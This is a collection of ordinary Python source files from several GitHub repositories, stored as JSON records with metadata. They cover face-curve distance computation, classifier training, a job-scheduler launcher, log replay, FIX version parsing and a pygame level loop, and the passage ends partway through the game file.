+{"seq_id":"41222743789","text":"# -*- coding: utf-8 -*-\n# @Author  : 作者\n# @Time    : 2020/10/15 10:58\n# @Function: \nimport numpy as np\nfrom math import *\nfrom scipy.integrate import trapz, cumtrapz\nfrom scipy.interpolate import interp1d\nfrom numpy.matlib import repmat\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n# from DynamicProGrammingQ import *\n# from numba import jit, vectorize, int64, float64, njit\nfrom numba import jit, vectorize, int64, float64, njit, cuda\n# from tools.utils import visual\nfrom time import time\nfrom ctypes import *\nimport ctypes\nimport os\nNNBRS = 23\nNbrs = [\n\t[1, 1],\n\t[1, 2 ],\n\t[ 2, 1 ],\n\t[ 2, 3 ],\n\t[ 3, 2 ],\n\t[ 1, 3 ],\n\t[ 3, 1 ],\n\t[ 1, 4 ],\n\t[ 3, 4 ],\n\t[ 4, 3 ],\n\t[ 4, 1 ],\n\t[ 1, 5 ],\n\t[ 2, 5 ],\n\t[ 3, 5 ],\n\t[ 4, 5 ],\n\t[ 5, 4 ],\n\t[ 5, 3 ],\n\t[ 5, 2 ],\n\t[ 5, 1 ],\n\t[ 1, 6 ],\n\t[ 5, 6 ],\n\t[ 6, 5 ],\n\t[ 6, 1 ]]\n\ndef Reshape(p):\n    q = np.append(p[:, 0], p[:, 1])\n    return q\n\n\ndef DP_Resampling_C(p1, p2, lam, Disp):\n    c_func = r\"./FaceReg.dll\"\n    FaceReg = ctypes.cdll.LoadLibrary(c_func)\n    rows, cols = p1.shape\n\n\n    p1_ptr = p1.reshape((1, -1))\n    p2_ptr = p2.reshape((1, -1))\n\n    # p1_ctypes_ptr = p1_ptr.ctypes.data_as(POINTER(c_double))\n    # p2_ctypes_ptr = p2_ptr.ctypes.data_as(POINTER(c_double))\n    p1_ctypes_ptr = cast(p1_ptr.ctypes.data, POINTER(c_double))\n    p2_ctypes_ptr = cast(p2_ptr.ctypes.data, POINTER(c_double))\n\n\n    FaceReg.DP_Resampling_C.argtypes = POINTER(c_double), POINTER(c_double), POINTER(c_double), c_int, c_int, c_int, c_int\n    FaceReg.DP_Resampling_C.restypes = None\n\n    ret = (ctypes.c_double*rows)()\n    FaceReg.DP_Resampling_C(ret, p1_ctypes_ptr, p2_ctypes_ptr, cols, rows, lam, Disp)\n\n    return np.array(ret)\n\n\ndef InnerProd_Q(q1, q2):\n    n, T = q1.shape\n    val = np.trapz(np.sum(q1*q2, axis=1), np.linspace(0, 1, n))\n    return val\ndef curve_to_q_open(p):\n    '''\n    :param p: nx2 or nx3 point set\n    :return:\n    '''\n    [N, dim] = p.shape\n    v = np.zeros((N, dim))\n    for i in range(dim):\n        v[:, i] = np.gradient(p[:, i], 1 / N)\n    len = np.sum(np.sqrt(np.sum(v*v, axis=1))) / N\n    v = v / len\n    q = np.zeros((N, dim))\n    for i in range(N):\n        L = np.sqrt(np.linalg.norm(v[i, :]))\n        if L > 0.00001:\n            q[i, :] = v[i,:] / L\n        else:\n            q[i, :] = v[i,:] * 0.0001\n    return q\ndef ReSampleCurve(X, N):\n    '''\n    :param X:nx2 or nx3 pointset\n    :param N: number of points\n    :return: new point set of size of Nx2 or Nx3\n    '''\n    n, dim = X.shape\n    Del = [0]\n    for r in range(n):\n        if(r==0):\n            continue\n        norm = np.linalg.norm((X[r, :] - X[r-1,:]))\n        Del.append(norm)\n    cumdel = np.cumsum(Del) / np.sum(Del)\n    newdel = np.linspace(0, 1, N)\n    Xn = np.zeros((N, dim))\n    for j in range(dim):\n        f = interp1d(cumdel, X[:, j], kind='linear',fill_value=\"extrapolate\")\n        Xn[:, j] = f(newdel)\n    return Xn\ndef invertGamma(gam):\n    N = gam.shape[0]\n    gam = gam.reshape((-1, ))\n    x = np.linspace(1,N, N) / N\n    f = interp1d(gam,x,  kind='linear', fill_value=\"extrapolate\")\n    gamI = f(x)\n\n    return gamI\ndef Distance_of_two_curve(X1, X2, N=100):\n    lam = 0\n    X1 = ReSampleCurve(X1,N)\n    X2 = ReSampleCurve(X2,N)\n\n    X1 = X1 - np.mean(X1, axis=0)\n    X2 = X2 - np.mean(X2, axis=0)\n\n    q1 = curve_to_q_open(X1)\n    q2 = curve_to_q_open(X2)\n\n    A = np.dot(q1.T,q2)\n    # print(A)\n    u,s,v = np.linalg.svd(A)\n    detA = np.linalg.det(A)\n    # print(detA)\n    if detA > 0:\n        Ot = np.dot(u.T,v)\n    else:\n        if(X1.shape[1] == 2):\n            Ot = np.dot(u.T,np.array([v[:, 0],-v[:, 1]]))\n        else:\n            Ot = np.dot(u.T,np.array([v[:, 0],v[:, 1],- v[:, 2]]))\n    # print(q2, Ot)\n    X2 = np.dot(X2, Ot.T)\n    q2 = np.dot(q2, Ot.T)\n    # print(q1)\n    p1 = q1/np.sqrt(InnerProd_Q(q1,q1))\n    p2 = q2/np.sqrt(InnerProd_Q(q2,q2))\n    # plt.scatter(p1[:, 0], p1[:, 1], c = 'r')\n    # plt.scatter(p2[:, 0], p2[:, 1], c = 'g')\n    # plt.show()\n    starttime = time()\n    # print(p1)\n    gam = DP_Resampling_C(p1, p2, 0, 0)\n    endtime = time()\n    # print(\"jit:%f\"%(endtime - starttime))\n\n    gamI = invertGamma(gam)\n\n    gamI = (gamI - [gamI[0]]) / (gamI[-1] - gamI[0])\n\n    X2n = Group_Action_by_Gamma_Coord(X2, gamI)\n\n    q2n = curve_to_q_open(X2n)\n    A = np.dot(q1.T,q2n)\n    u,s,v = np.linalg.svd(A)\n    detA = np.linalg.det(A)\n\n    if detA > 0:\n        Ot = np.dot(u,v.T)\n        # print(u, v, Ot)\n    else:\n        if(X1.shape[1] == 2):\n            Ot = np.dot(u,np.array([v[:, 0],-v[:, 1]]).T)\n        else:\n            Ot = np.dot(u,np.array([v[:, 0],v[:, 1],- v[:, 2]]).T)\n\n    X2n = np.dot(X2n, Ot.T)\n    q2n = np.dot(q2n, Ot.T)\n\n    dist = np.arccos(np.sum(np.sum(q1*q2n, axis=0), axis=0) / N)\n    # print((q2n*q1).shape)\n\n    return dist\ndef Group_Action_by_Gamma_Coord(f, gamI):\n    N, dim = f.shape\n    fn = np.zeros((f.shape))\n    for j in range(dim):\n        func = interp1d(np.linspace(0, 1, N), f[:, j], kind= 'linear')\n        fn[:, j] = func(gamI)\n    return fn\ndef Distance_of_two_face(feature1, feature2,numoflines, N = 100):\n    sum = 0\n    for i in range(numoflines):\n        line1 = feature1[i]\n        line2 = feature2[i]\n        dist = Distance_of_two_curve(line1, line2, N)\n        sum += dist\n    return sum\n\n","repo_name":"shalppppp/FR","sub_path":"shapeanalysis/DynamicProGrammingQ_C.py","file_name":"DynamicProGrammingQ_C.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43808745517","text":"#!/bin/python \n\nimport numpy\nimport os\nfrom sklearn.svm.classes import SVC\nimport pickle\nimport sys\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import LogisticRegression\n# from imblearn.over_sampling import SMOTE, ADASYN\n\nif __name__ == '__main__':\n    if len(sys.argv) <= 5:\n        print(\"Usage: {0} event_name path/to/feat_dict feat_dim output_file\".format(sys.argv[0]))\n        print(\"event_name -- name of the event (P001, P002 or P003 in Homework 1)\")\n        print(\"feat_dict -- dictionary of video id with feature stored in a pickle file\")\n        print(\"feat_dim -- dim of features\")\n        print(\"output_file -- path to save the classifier model\")\n        exit(1)\n\n    event_name = sys.argv[1]\n    feat_dir = sys.argv[2]\n    feat_dim = int(sys.argv[3])\n    output_file = sys.argv[4]\n    train_list = sys.argv[5]\n    train_read = open(train_list, 'r')\n    lines = [line for line in train_read]\n    input_dim = len(lines)\n    all_vid = pickle.load(open(feat_dir, 'rb'))\n    \n    X = []\n    Y = []\n    i = 0\n    for line  in lines:\n        line = line.strip().split()\n        # print(line)\n        if line[0] in all_vid:\n           X.append(all_vid[line[0]].reshape((-1,)))\n           Y.append(int(line[1]==event_name))\n        i += 1\n\n    #sm = ADASYN(random_state=42)\n    #X, Y =  sm.fit_resample(X, Y)\n    # clf = SVC(gamma='scale',C=0.0025, probability=True)\n    clf = LogisticRegression(random_state=0, solver='lbfgs', C=2.5)\n    clf.fit(X, Y)\n    p = clf.predict_proba(X)\n    print(\"Training Accuracy: {}\".format(clf.score(X,Y)))\n    pickle.dump(clf, open(output_file, 'wb'))\n    print(\"Model for event {} -> {}\".format(event_name, output_file))\n    print('Classifier trained successfully for event %s!' % event_name)\n","repo_name":"richcode6/Multimedia-Event-Detection","sub_path":"hw1_code/scripts/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15033097377","text":"import os\nimport sys\nimport subprocess\nimport time\nimport argparse\nimport logging\nimport threading\nimport transaction\n\nfrom pyramid.scripts.pserve import install_reloader, _turn_sigterm_into_systemexit\nfrom pyramid.paster import setup_logging, get_app\n\n#------------------------------------------------------------------------------\n\nlog = None # logging.getLogger(__name__)\n\nRELOADERENV = 'PSCHEDULER_RUN_RELOADER'\n\n#------------------------------------------------------------------------------\ndef restart_with_reloader(options):\n  log.info('starting subprocess with file monitor')\n  while True:\n    args = [sys.executable] + sys.argv\n    new_environ = os.environ.copy()\n    new_environ[RELOADERENV] = 'true'\n    proc = None\n    try:\n      try:\n        _turn_sigterm_into_systemexit()\n        proc = subprocess.Popen(args, env=new_environ)\n        log.info('subprocess started (PID %d)', proc.pid)\n        exit_code = proc.wait()\n        proc = None\n      except KeyboardInterrupt:\n        log.info('^C caught in monitor process')\n        return 1\n    finally:\n      if proc is not None:\n        try:\n          import signal\n          os.kill(proc.pid, signal.SIGTERM)\n        except (ImportError, OSError, IOError):\n          pass\n    if exit_code == 3:\n      # why 3? no idea. copied from pserve...\n      log.info('restarting due to file change (exit code: %d)', exit_code)\n      continue\n    if not options.restart:\n      return exit_code\n    log.info('restarting in %d seconds (unexpected exit code: %d)',\n             options.restart_interval, exit_code)\n    time.sleep(options.restart_interval)\n    log.info('restarting now')\n\n\n#------------------------------------------------------------------------------\ndef main():\n\n  parser = argparse.ArgumentParser(\n    description=\n    'Launch the pyramid-scheduler job execution process.'\n    ' This process is only required for pyramid-scheduler'\n    ' configurations that are not running in \"combined\" mode'\n    ' (i.e. all-in-one-process).'\n    )\n\n  parser.add_argument(\n    '--app-name', metavar='NAME',\n    dest='appName', default='main',\n    help='Load the named application (default: %(default)s)')\n\n  parser.add_argument(\n    '-q', '--queue', metavar='NAME',\n    dest='queues', action='append', default=[],\n    help='Restrict queues that this scheduler will handle - if not'\n         ' specified, all queues will be handled (can be specified'\n         ' multiple times)')\n\n  parser.add_argument(\n    '--reload',\n    action='store_true',\n    help='Use auto-restart file monitor')\n\n  parser.add_argument(\n    '--reload-interval', metavar='SECONDS',\n    dest='reload_interval', default=1, type=int,\n    help='Seconds between checking files (default: %(default)i)')\n\n  parser.add_argument(\n    '--restart',\n    action='store_true',\n    help='Automatically restart on unexpected exit')\n\n  parser.add_argument(\n    '--restart-interval', metavar='SECONDS',\n    dest='restart_interval', default=5, type=int,\n    help='Seconds to wait after an unexpected exit'\n         ' (default: %(default)i)')\n\n  parser.add_argument(\n    '--message', metavar='TEXT',\n    help='Message to send to the current consumer (no check is'\n         ' made to ensure that it is currently running)')\n\n  parser.add_argument(\n    'configUri', metavar='CONFIG-URI',\n    help='The configuration URI or filename')\n\n  options = parser.parse_args()\n\n  setup_logging(options.configUri)\n  global log\n  log = logging.getLogger(__name__)\n\n  if options.reload:\n    if os.environ.get(RELOADERENV) == 'true':\n      log.info('installing reloading file monitor')\n      # todo: the problem with pserve's implementation of the\n      #       restarter is that it uses `os._exit()` which is\n      #       a \"rude\" exit and does not allow APS's atexit()\n      #       registrations to kick in... use a better\n      #       implementation!\n      install_reloader(options.reload_interval, [options.configUri])\n    else:\n      return restart_with_reloader(options)\n\n  try:\n    log.debug('loading application from \"%s\"', options.configUri)\n    from pyramid_scheduler.scheduler import Scheduler\n    app = get_app(options.configUri, name=options.appName)\n    if not hasattr(app.registry, 'scheduler'):\n      log.error('application did not load a scheduler (try'\n                ' \"config.include(\\'pyramid_scheduler\\')\") - aborting')\n      return 10\n    if options.message:\n      with transaction.manager:\n        app.registry.scheduler.broker.send(options.message)\n      return 0\n    if app.registry.scheduler.conf.combined:\n      log.error('application is configured for combined (i.e. single-process) operation - aborting')\n      return 11\n    log.debug('starting consumer process on queues %r', options.queues)\n    app.registry.scheduler.startConsumer(daemon=True, queues=options.queues)\n    register_for_graceful_shutdown(app)\n    wait_for_exit()\n  except (KeyboardInterrupt, SystemExit):\n    return 0\n  except Exception:\n    log.exception('error while starting pscheduler')\n    return 20\n\n#------------------------------------------------------------------------------\ndef wait_for_exit():\n  # can't use conditions (which would be cleaner), because they are not\n  # interruptible (http://bugs.python.org/issue8844)\n  while True:\n    try:\n      time.sleep(86400)\n    except (KeyboardInterrupt, SystemExit):\n      return\n\n#------------------------------------------------------------------------------\ndef register_for_graceful_shutdown(app):\n  # catch SIGTERM signals and exit gracefully\n  try:\n    import signal\n  except ImportError:\n    log.warning('SIGTERM signal handler could not be installed - graceful shutdown disabled')\n    return\n  def gracefulShutdown(signo=None, frame=None):\n    log.info('shutting down pscheduler')\n    # sys.exit will cause APS's \"atexit\" handler to be called\n    app.registry.scheduler.shutdown()\n    sys.exit(0)\n  signal.signal(signal.SIGTERM, gracefulShutdown)\n\n#------------------------------------------------------------------------------\n# end of $Id$\n# $ChangeLog$\n#------------------------------------------------------------------------------\n","repo_name":"cadithealth/pyramid_scheduler","sub_path":"pyramid_scheduler/pscheduler.py","file_name":"pscheduler.py","file_ext":"py","file_size_in_byte":6089,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"16"}
+{"seq_id":"6702640724","text":"\nsentence = 'the voice of the lord is powerful the voice of the lord is upon the waters the voice of the lord shaketh the wilderness obey the voice of the lord your god obey the voice of the lord thy god obey the voice of the lord our god'\n\ndef add_sentence(n,sentence):\n    sentence = sentence + ' EOL'\n    starters = []\n    stoppers = []\n    txt = ''\n    states = []\n    words = sentence.lower().split()\n    starters.append(words[0])\n    stoppers.append(words[len(words) - 1])\n\n    for i in range(len(words)+1):\n        states.append(words[i:n])\n        n = n+1\n    #print(states)\n\n\n    #Dictionary\n    all_dict = {}\n    for i in range(len(states)):\n        key = ' '.join(states[i])\n        if key not in all_dict.keys():\n            all_dict[key] = []\n        else:\n            all_dict[key].append(states[i+1][-1])\n\n\n\n\n    print(all_dict)\n\n   # txt = txt + ' ' + ' '.join(words[i:n])\n   # print(txt)\n        #key_split = key.split()\n        #print(master_dict[str(key_split[1])])\n        #all_dict[key] = master_dict[str(key_split[1])]\n    #print(all_dict)\n\n\n\n\n\n\n\n    '''\n    sentence = sentence + ' EOF'\n    starters = []\n    stoppers = []\n    all_states = []\n    words = sentence.lower().split()\n    starters.append(words[0])\n    stoppers.append(words[len(words)-1])\n    print(words)\n\n\n    #Make Pairs\n    states = [[words[i], words[i+1]] for i in range(0, len(words)-1)]\n    for i in range(len(states)):\n        all_states.append(tuple(states[i]))\n    print(all_states)\n\n\n    #Dict\n    all_dict = {}\n    for first, second in all_states:\n        if first in all_dict.keys():\n            all_dict[first].append(second)\n        else:\n            all_dict[first] = [second]\n    print(all_dict)\n\n\n    #while succesor not in stoppers:\n    \n    corpus = sentence.split()\n    def make_pairs(corpus):\n        for i in range(len(corpus) - 1):\n            yield (corpus[i], corpus[i + 1])\n\n    pairs = make_pairs(corpus)\n    print(list(pairs))\n\n\n\n    \n    for i in range(0, len(words)-1):\n        states.append(words[i])\n    state = tuple(states)\n    print(state)\n    all_dict = {}\n    for first in state:\n        if first in all_dict.keys():\n           all_dict[first].append(second)\n        else:\n            all_dict[first] = [second]\n    print(all_dict)\n    '''\n\nadd_sentence(3,sentence)","repo_name":"nrepesh/pacman","sub_path":"pac3man-master/markov/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1376965461","text":"import os\r\nimport shutil\r\nimport sys\r\nsys.path.append(\"/isis/NDXMUSR/user/scripts/autoreduction\")\r\nimport reduce_vars as web_var\r\n\r\ndef validate(input_file, output_dir):\r\n    \"\"\"\r\n    Function to ensure that the files we want to use in reduction exist.\r\n    Please add any files/directories to the required_files/dirs lists.\r\n    \"\"\"\r\n    print(\"Running validation\")\r\n    required_files = [input_file]\r\n    required_dirs = [output_dir]\r\n    for file_path in required_files:\r\n        if not os.path.isfile(file_path):\r\n            raise RuntimeError(\"Unable to find file: {}\".format(file_path))\r\n    for dir in required_dirs:\r\n        if not os.path.isdir(dir):\r\n            raise RuntimeError(\"Unable to find directory: {}\".format(dir))\r\n    print(\"Validation successful\")\r\n        \r\n\r\ndef main(input_file, output_dir):\r\n    validate(input_file, output_dir)\r\n    \r\n    # Example of printing some stuff which is captured in autoreduction\r\n    # output log file \r\n    print(web_var)\r\n    print(\"input_file = \" + str(input_file))\r\n    print(\"output_dir = \" + str(output_dir))\r\n    \r\n    # Copy raw data to output dir.\r\n    # Note this should only be done if raw files are small and for specific\r\n    # purpose such as testing \r\n    shutil.copy(input_file, output_dir)\r\n\r\n    # And of course, here and below insert your reduction code!\r\n\r\nif __name__ == \"__main__\":\r\n    main(\"test\", \"test\")\r\n","repo_name":"autoreduction/AutoreductionScripts","sub_path":"NDXCHRONUS/user/scripts/autoreduction/reduce.py","file_name":"reduce.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70051377288","text":"import json \nimport stanza \n\ndef processFiles(dataset, mode):\n    dict = {}\n    sentence_packs = json.load(open(dataset + '/' + mode +'.json'))\n    count = 0\n\n    for sentence_pack in sentence_packs:\n        sentence =  sentence_pack['sentence']\n        triples =  sentence_pack['triples']\n        pos_tags =  sentence_pack['pos_tags']\n        heads =  sentence_pack['heads']\n        children =  sentence_pack['children']\n        relations =  sentence_pack['relations']\n\n        words = sentence.split(\" \")\n        for i in range(len(words)):\n            if \"DT\" in pos_tags[i] and \"NN\" in pos_tags[heads[i]] and relations[i] == \"det\":\n                count += 1\n\n        # for triple in triples:\n            # aspect, opinion, sentiment = triple[0], triple[1], triple[2]\n            \n            # if aspect[0] == aspect[1] and opinion[0] == opinion[1]:\n                \"\"\"\n                if heads[aspect[0]] == opinion[0]:\n                    if \"DT\" in pos_tags[aspect[0]] and \"NN\" in pos_tags[opinion[0]] and relations[aspect[0]] == \"det\":\n                        count += 1\n                elif heads[opinion[0]] == aspect[0]:\n                    if \"DT\" in pos_tags[opinion[0]] and \"NN\" in pos_tags[aspect[0]] and relations[opinion[0]] == \"det\":\n                        count += 1\n                \"\"\"\n\n                \"\"\"\n                if heads[aspect[0]] == opinion[0]:\n                    index = pos_tags[aspect[0]] + \"<-\" + relations[aspect[0]] + \"-\"+ pos_tags[opinion[0]]\n                    if index not in dict:\n                        dict[index] = 1\n                    else:\n                        dict[index] += 1\n                elif heads[opinion[0]] == aspect[0]:\n                    index = pos_tags[opinion[0]] + \"<-\" + relations[opinion[0]] + \"-\"+ pos_tags[aspect[0]]\n                    if index not in dict:\n                        dict[index] = 1\n                    else:\n                        dict[index] += 1\n                \"\"\"\n    #dict = sorted(dict.items(), key=lambda x: x[1], reverse=True)\n    return count\n\n\n\n    # file = open(dataset + mode+\".json\",'w')\n    # file.write(json.dumps(sentences))\n    # file.close()\n\nif __name__ == \"__main__\":\n    # data preprocessing\n    count1 = processFiles(\"res14\", \"train\")\n    print(count1)\n\n    count1 = processFiles(\"res15\", \"train\")\n    print(count1)\n\n    count1 = processFiles(\"res16\", \"train\")\n    print(count1)\n\n    count1 = processFiles(\"lap14\", \"train\")\n    print(count1)\n\n    # file = open(\"dict_pos.json\",'w')\n    # file.write(json.dumps(dict_pos))\n    # file.close()\n","repo_name":"ashooha0/Alsecond","sub_path":"classifier/data/summarize.py","file_name":"summarize.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"33710047231","text":"#!/usr/bin/python3\n\"\"\"\n    Python script that, exports data in the JSON format.\n\"\"\"\n\nimport json\nimport requests\nimport sys\n\nif __name__ == \"__main__\":\n    id = sys.argv[1]\n    usr_url = \"https://jsonplaceholder.typicode.com/users/{}\".format(id)\n    tds_url = \"https://jsonplaceholder.typicode.com/users/{}/todos\".format(id)\n\n    user = requests.get(usr_url).json()\n    task = requests.get(tds_url).json()\n\n    with open('{}.json'.format(id), 'w') as f:\n        tasks = []\n        for x in task:\n            tasks.append({\"task\": x.get(\"title\"),\n                          \"completed\": x.get(\"completed\"),\n                          \"username\": user.get(\"username\")})\n        data = {\"{}\".format(id): tasks}\n        json.dump(data, f)\n","repo_name":"mking94/holberton-system_engineering-devops","sub_path":"0x15-api/2-export_to_JSON.py","file_name":"2-export_to_JSON.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34824298934","text":"\"\"\"\nUtilities for FIX protocol versioning.\n\"\"\"\n\nfrom typing import Optional\n\n\nclass FixVersion:\n    def __init__(self, val: str, ep: Optional[str] = None):\n        if \"_EP\" in val:\n            val, ep = tuple(val.split(\"_EP\"))\n        if \"SP\" in val:\n            val, sp = tuple(val.split(\"SP\"))\n        else:\n            sp = \"0\"\n        protocol, major, minor = tuple(val.split(\".\"))\n        protocol = protocol.lower()\n        self.data = {\n            \"fix\": protocol,\n            \"major\": major,\n            \"minor\": minor,\n            \"sp\": sp,\n        }\n        if ep:\n            self.data[\"ep\"] = ep\n\n    @classmethod\n    def create_from_xml_attrs(cls, attrs, keyword):\n        ep = keyword + \"EP\"\n        if keyword in attrs and ep in attrs and attrs[ep] != \"-1\":\n            return cls(attrs[keyword], attrs[ep])\n        elif keyword in attrs:\n            return cls(attrs[keyword])\n        else:\n            return None\n","repo_name":"ferrumfix/fix2dict","sub_path":"fix2json/fix_version.py","file_name":"fix_version.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"30994050975","text":"import json\nimport time\nfrom logreplay import LogParser, RequestInfo, main, events\n\n\nclass ServerLogParser(LogParser):\n\n    def parse(self, line):\n        line = json.loads(line)\n        ts = int(float(line['time']) * 1000)\n        url = line['request']\n        method = line['request_method']\n        data = line['body']\n        headers = line['headers']\n\n        req_info = RequestInfo(timestamp=ts, method=method, url=url, data=data, headers=headers)\n        req_info.is_matched = True\n        return req_info\n\n\ndef update_ts(parameters):\n    parameters['data'] = \"ts=\" + str(time.time())\n\nevents.replay += update_ts\n\n\ndef callback(ret):\n    print(ret.result())\n\n\nif __name__ == \"__main__\":\n    main(\"server.log\", ServerLogParser, 2, callback=callback)\n","repo_name":"jacexh/log-replay","sub_path":"examples/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"9203262224","text":"from LevelLoader import Level\nfrom GameObjects import ExitDoor, Bouncer, MovingPlatform\nfrom Utility import Utils\nfrom GameConstants import *\nfrom Sound import *\nfrom Timer import *\nfrom Controls import *\nfrom Renderer import *\n\nclass GameWorld:\n\n    @staticmethod\n    def init():\n\n        Sound.init()\n\n        d = {k: v.replace(\"\\n\",\"\") for k, v in (l.split('=') for l in open(\"save.txt\"))}\n        saveFileDictionary = d\n        currentLevel = Level(saveFileDictionary['resumeLevel'])\n        GameWorld.saveFileDictionary = saveFileDictionary\n\n        Level.currentLevel = currentLevel\n\n        bouncer = Bouncer(Utils.getMiddlePosition(), BALL_RADIUS)\n        Bouncer.bouncer = bouncer\n\n        exitDoor = ExitDoor(Level.currentLevel.exitdoorPosition, EXIT_DOOR_WIDTH, EXIT_DOOR_HEIGHT)\n        ExitDoor.exitDoor = exitDoor\n\n        bouncer.setPosition(Level.currentLevel.bouncerPosition)\n\n        MovingPlatform.CreateMovingPlatforms()\n        LaserGun.CreateLaserGuns()\n        RailSaw.CreateRailSaws()\n\n        Sound.playMainMusic()\n\n        GameWorld.isEnd = False\n        GameWorld.finished = False\n\n    @staticmethod\n    def reset():\n        bouncer = Bouncer.bouncer\n        bouncer.setPosition(Level.currentLevel.bouncerPosition)\n        bouncer.setPreviousPosition(Level.currentLevel.bouncerPosition)\n        bouncer.speed = [0, 0]\n        bouncer.direction = 'none'\n        bouncer.gravityDirection = 'down'\n\n    @staticmethod\n    def onNextLevel():\n        Timer.quit()\n        Laser.quit()\n\n        exitDoor = ExitDoor(Level.currentLevel.exitdoorPosition, EXIT_DOOR_WIDTH, EXIT_DOOR_HEIGHT)\n        ExitDoor.exitDoor = exitDoor\n        MovingPlatform.CreateMovingPlatforms()\n        LaserGun.CreateLaserGuns()\n        RailSaw.CreateRailSaws()\n\n        Sound.playMainMusic()\n\n        GameWorld.saveFileDictionary[\"resumeLevel\"] = Level.currentLevel.levelFilename\n        Utils.writeDictToFile(GameWorld.saveFileDictionary, \"save.txt\")\n\n    @staticmethod\n    def __finishedCallback():\n        GameWorld.finished = True\n\n    @staticmethod\n    def endGame():\n\n        if GameWorld.isEnd:\n            return None\n\n        bouncer = Bouncer.bouncer\n        bouncer.visible = False\n        GameWorld.isEnd = True\n        bouncer.wonGame = True\n        Sound.playGameEnding()\n\n        Timer.SetTimerEvent(55000, GameWorld.__finishedCallback)\n\n    @staticmethod\n    def death():\n        GameWorld.reset()\n\n    @staticmethod\n    def deathExplode():\n        bouncer = Bouncer.bouncer\n        Pixels.CreatePixels(bouncer.centerPosition)\n        GameWorld.death()\n        Sound.playDeathSound()\n\n    @staticmethod\n    def quit():\n        return None\n\n    @staticmethod\n    def __update_MovingPlatforms():\n        for platform in MovingPlatform.platforms:\n            platform.update()\n            cl = Level.currentLevel\n            ri = 0\n            for tileRow in cl.mapping:\n                ci = 0\n                for tile in tileRow:\n                    if tile in TILES_WITH_COLLISIONS:\n                        tilerect = pygame.Rect((ci * TILE_BLOCK_SIZE, ri * TILE_BLOCK_SIZE),\n                                               (TILE_BLOCK_SIZE, TILE_BLOCK_SIZE))\n                        if platform.isColliding(tilerect):\n                            if platform.direction == 'left':\n                                platform.direction = 'right'\n                                platform.position[0] = tilerect.x + tilerect.width + 1\n                            elif platform.direction == 'right':\n                                platform.direction = 'left'\n                                platform.position[0] = tilerect.x - platform.width - 1\n                            elif platform.direction == 'up':\n                                platform.direction = 'down'\n                                platform.position[1] = tilerect.y + tilerect.height + 1\n                            elif platform.direction == 'down':\n                                platform.direction = 'up'\n                                platform.position[1] = tilerect.y - platform.height - 1\n                    ci += 1\n                ri += 1\n\n\n    @staticmethod\n    def __update_BouncerExitDoorCheck():\n        exitDoor = ExitDoor.exitDoor\n        bouncer = Bouncer.bouncer\n        exitDoorRect = pygame.Rect((exitDoor.position[0],exitDoor.position[1]), (exitDoor.width, exitDoor.height))\n        if bouncer.isColliding(exitDoorRect):\n\n            if Level.currentLevel.lastlevel and not GameWorld.isEnd:\n                GameWorld.endGame()\n            elif not GameWorld.isEnd:\n\n                Level.currentLevel.loadLevel(Level.currentLevel.nextLevel)\n                GameWorld.onNextLevel()\n                GameWorld.reset()\n\n\n    @staticmethod\n    def __update_BouncerBoundariesCheck():\n        bouncer = Bouncer.bouncer\n        if bouncer.centerPosition[0] - bouncer.boxingRadius <= 0:\n            bouncer.centerPosition[0] = bouncer.boxingRadius\n        elif bouncer.centerPosition[0] + bouncer.boxingRadius >= SCREEN_WIDTH:\n            bouncer.centerPosition[0] = SCREEN_WIDTH - bouncer.boxingRadius\n        elif bouncer.centerPosition[1] >= DEATH_LINE_HEIGHT:\n            GameWorld.death()\n        elif bouncer.centerPosition[1] <= DEATH_LINE_HEIGHT_CEIL - bouncer.boxingRadius:\n            GameWorld.death()\n\n    @staticmethod\n    def __GetListOfCollidingTiles():\n\n        \"\"\"\n            Get List of colliding tiles\n        \"\"\"\n        bouncer = Bouncer.bouncer\n        cl = Level.currentLevel\n\n        collidingTilesList = []\n\n        for ri in range(len(cl.mapping)):\n            for ci in range(len(cl.mapping[ri])):\n\n                tile = cl.mapping[ri][ci]\n\n                if tile == 0:\n                    continue\n\n                tilerect = pygame.Rect((ci * TILE_BLOCK_SIZE, ri * TILE_BLOCK_SIZE),\n                                       (TILE_BLOCK_SIZE, TILE_BLOCK_SIZE))\n\n                if bouncer.isCollidingWithObj(tilerect):\n                    collidingTilesList.append((ri,ci,tile,tilerect))\n\n        return collidingTilesList\n\n    @staticmethod\n    def __update_BoucerCheckTiles():\n\n        collidingTilesList = GameWorld.__GetListOfCollidingTiles()\n\n        \"\"\"\n            Go through colliding tiles list\n        \"\"\"\n        bouncer = Bouncer.bouncer\n\n        for tileData in collidingTilesList:\n\n            tilerect = tileData[3]\n            tile = tileData[2]\n\n            ballDir = bouncer.getCollisionDirection(tilerect)\n\n            if tile in TILES_WITH_COLLISIONS:\n\n                bouncer.handleBallCollision(tilerect)\n\n                if ballDir in ['left', 'right']:\n                    bouncer.speed[0] = 0\n\n                if ballDir == 'bottom' and bouncer.gravityDirection == 'down' or \\\n                    ballDir == 'top' and bouncer.gravityDirection == 'up':\n                    bouncer.speed[1] = 0\n\n                \"\"\"\n                    Handle Tile Bouncer via top and down based \n                    on tile type and gravity direction\n                \"\"\"\n                if ballDir == 'top' and bouncer.gravityDirection == 'down':\n\n                    if tile == TILE_NORMAL:\n                        bouncer.speed[1] = 